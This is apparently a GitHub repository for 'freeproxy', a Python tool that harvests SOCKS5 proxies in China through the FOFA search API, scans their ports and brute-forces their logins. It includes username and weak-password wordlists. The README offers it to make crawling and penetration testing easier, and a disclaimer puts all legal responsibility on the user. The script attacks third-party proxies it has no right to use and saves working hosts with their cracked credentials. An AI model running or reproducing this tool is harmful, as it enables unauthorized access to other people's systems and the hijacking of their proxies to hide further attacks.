├── fofa_results.txt ├── open_ports.txt ├── valid_proxies.txt ├── user.txt ├── pass.txt ├── README.md └── freeproxy.py /fofa_results.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /open_ports.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /valid_proxies.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /user.txt: -------------------------------------------------------------------------------- 1 | admin 2 | test 3 | guest 4 | 5 | -------------------------------------------------------------------------------- /pass.txt: -------------------------------------------------------------------------------- 1 | admin 2 | 123456 3 | 12345678 4 | password 5 | admin123 6 | admin123456 7 | 123456789 8 | 12345 9 | 88888888 10 | 1234567890 11 | 123123 12 | 654321 13 | 111111 14 | pass@123 15 | pass123 16 | 222222 17 | 333333 18 | 444444 19 | 555555 20 | 6666666 21 | 777777 22 | 999999 23 | 000000 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 免费代理池收集工具,形成自己的免费代理池,让爬虫,渗透如虎添翼。 2 | 3 | 通过fofa资产测绘平台获取大量代理数据,利用并发技术快速检测代理的可用性并爆破弱口令,爆破用户名密码可以自行添加到user.txt和pass.txt 4 | 5 | 6 | 使用fofa以下fofa语句进行搜索socks5代理数据,需要key,支持无key,无key可以将key设为空然后可以使用下面的语法进行查询后导出到fofa_results.txt 7 | 8 | ``` 9 | protocol=="socks5" && "Version:5 Method:No Authentication(0x00)" && country="CN" 10 | ``` 11 | 12 | 13 | 示范格式 14 | 15 | ``` 16 | 127.0.0.1:1080 17 | ``` 18 | ![image](https://github.com/user-attachments/assets/d5d0810b-aff7-429f-a140-b9a6665cd0f8) 19 | 20 | 21 | 22 | 可食用的地址输出在valid_proxies.txt中 23 | 24 | ![image](https://github.com/user-attachments/assets/f2bcfa6a-5222-4287-ab0a-dc178e362096) 25 | 26 | 27 | 可以将valid_proxies.txt直接放入到ProxyCat代理的ip.txt中,开启ProxyCat的代理就使用成功了 28 | 29 | 安装方法 30 | 31 | ``` 32 | git clone https://github.com/qiangshaozhang/freeproxy.git 33 | ``` 34 | 35 | 使用方法 36 | 37 | ``` 38 | cd freeproxy 39 | python3 freeproxy.py 40 | ``` 41 | ![image](https://github.com/user-attachments/assets/4562eef5-0614-461e-8ca2-ab6fcfb1c765) 42 | 43 | 免责申明 44 | 45 | 如果您下载、安装、使用、修改本工具及相关代码,即表明您信任本工具。 46 | 47 | 在使用本工具时造成对您自己或他人任何形式的损失和伤害,我们不承担任何责任。 48 | 49 | 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 50 | 51 | 请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受。 52 | 53 | 除非您已阅读并接受本协议所有条款,否则您无权下载、安装或使用本工具。 54 | 55 | 您的下载、安装、使用等行为即视为您已阅读并同意上述协议的约束。 56 | -------------------------------------------------------------------------------- /freeproxy.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from concurrent.futures import ThreadPoolExecutor 3 | import socket 4 | import warnings 5 | 6 | warnings.filterwarnings("ignore") 7 | 8 | # 固定变量 9 | FOFA_KEY = "" # 如果没有 Fofa API Key,请留空 10 | FOFA_URL = f"https://fofa.info/api/v1/search/all?key={FOFA_KEY}&qbase64=cHJvdG9jb2w9PSJzb2NrczUiICYmICJWZXJzaW9uOjUgTWV0aG9kOk5vIEF1dGhlbnRpY2F0aW9uKDB4MDApIiAmJiBjb3VudHJ5PSJDTiI=&size=5000" 11 | 12 | # 文件名 13 | FOFA_OUTPUT_FILE = "fofa_results.txt" 14 | PORT_OPEN_FILE = "open_ports.txt" 15 | VALID_PROXY_FILE = "valid_proxies.txt" 16 | 17 | # 爬取 Fofa 数据并保存到指定文件 18 | def fetch_fofa_data(): 19 | if not FOFA_KEY: 20 | print("FOFA_KEY 未设置,跳过 Fofa 数据爬取") 21 | return 22 | 23 | print("正在爬取 Fofa 数据") 24 | response = requests.get(FOFA_URL) 25 | data = response.json() 26 | 27 | print("正在提取数据") 28 | extracted_data = [result[0] for result in data['results']] 29 | 30 | with open(FOFA_OUTPUT_FILE, 'w') as f: 31 | for it in extracted_data: 32 | f.write(it + '\n') 33 | 34 | print(f"数据爬取完毕,结果已保存到 {FOFA_OUTPUT_FILE}") 35 | 36 | # 测试端口是否开放 37 | def test_port(proxy): 38 | proxy = proxy.strip() 39 | ip, port = proxy.split(":") 40 | try: 41 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 42 | sock.settimeout(2) 43 | result = sock.connect_ex((ip, int(port))) 44 | if result == 0: 45 | with open(PORT_OPEN_FILE, 'a') as f: # 追加模式 46 | f.write(proxy + '\n') 47 | sock.close() 48 | except socket.error: 49 | pass 50 | 51 | def check_ports(): 52 | print("正在测试端口开放情况") 53 | try: 54 | with open(FOFA_OUTPUT_FILE, "r") as f: 55 | proxies = f.readlines() 56 | except FileNotFoundError: 57 | print(f"{FOFA_OUTPUT_FILE} 文件不存在,请检查或手动创建") 58 | return 59 | 60 | with ThreadPoolExecutor(max_workers=100) as executor: 61 | executor.map(test_port, proxies) 62 | 63 | print(f"端口检测完毕,结果已保存到 {PORT_OPEN_FILE}") 64 | 65 | # 测试代理的有效性,并输出对应的用户名和密码 66 | def test_proxy(proxy): 67 | try: 68 | # 尝试无密码代理 69 | response = requests.get( 70 | 'https://www.baidu.com/', 71 | proxies={'http': f"socks5://{proxy}", 'https': f"socks5://{proxy}"}, 72 | timeout=6, 73 | verify=False 74 | ) 75 | if response.status_code == 200: 76 | print(f'Working proxy: {proxy}') 77 | with open(VALID_PROXY_FILE, 'a') as file: # 追加模式 78 | file.write(f'socks5://{proxy}\n') 79 | return 80 | except: 81 | pass 82 | 83 | # 尝试使用用户名和密码 84 | with open('user.txt', 'r') as user_file: 85 | usernames = [line.strip() for line in user_file.readlines()] 86 | with open('pass.txt', 'r') as pass_file: 87 | passwords = [line.strip() for line in pass_file.readlines()] 88 | 89 | for username in usernames: 90 | for password in passwords: 91 | try: 92 | response2 = requests.get( 93 | 'https://www.baidu.com/', 94 | proxies={ 95 | 'http': f"socks5://{username}:{password}@{proxy}", 96 | 'https': f"socks5://{username}:{password}@{proxy}" 97 | }, 98 | timeout=2, 99 | verify=False 100 | ) 101 | if response2.status_code == 200: 102 | print(f'Working proxy with credentials: {proxy} | Username: {username} | Password: {password}') 103 | with open(VALID_PROXY_FILE, 'a') as file: # 追加模式 104 | file.write(f'socks5://{username}:{password}@{proxy}\n') 105 | return 106 | except: 107 | pass 108 | print(f'Failed proxy: {proxy}') 109 | 110 | def check_proxies(): 111 | print("正在测试代理的有效性") 112 | try: 113 | with open(PORT_OPEN_FILE, 'r') as file: 114 | proxies = [line.strip() for line in file.readlines()] 115 | except FileNotFoundError: 116 | print(f"{PORT_OPEN_FILE} 文件不存在,请检查或手动创建") 117 | return 118 | 119 | with ThreadPoolExecutor(max_workers=50) as executor: 120 | executor.map(test_proxy, proxies) 121 | 122 | print(f"代理检测完毕,结果已保存到 {VALID_PROXY_FILE}") 123 | 124 | # 主函数 125 | def main(): 126 | fetch_fofa_data() 127 | check_ports() 128 | check_proxies() 129 | 130 | if __name__ == '__main__': 131 | main() 132 | 133 | --------------------------------------------------------------------------------